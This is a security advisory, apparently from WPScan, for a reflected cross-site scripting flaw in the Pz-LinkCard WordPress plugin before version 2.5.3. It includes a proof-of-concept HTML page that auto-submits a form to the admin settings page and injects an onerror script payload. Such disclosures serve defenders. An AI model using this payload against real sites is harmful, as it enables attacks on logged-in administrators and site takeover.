Pz-LinkCard < 2.5.3 - Reflected XSS

2024-03-0700:00:00

Erwan LR (WPScan)

pz-linkcard

reflected xss

admin page auto-submit

security exploit

web application vulnerability

AI Score

Confidence

High

EPSS

Percentile

9.0%

JSON

Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open a page containing the code below

<html>
    <body onload="document.forms[0].submit()">
        <form action="https://example.com/wp-admin/options-general.php?page=pz-linkcard-settings" method="POST">
            <input type="hidden" name="pz-lkc-tab-now" value='"><img src onerror=alert(/XSS/)>' />
            <input type="submit" value="Hack me" />
        </form>
    </body>
</html>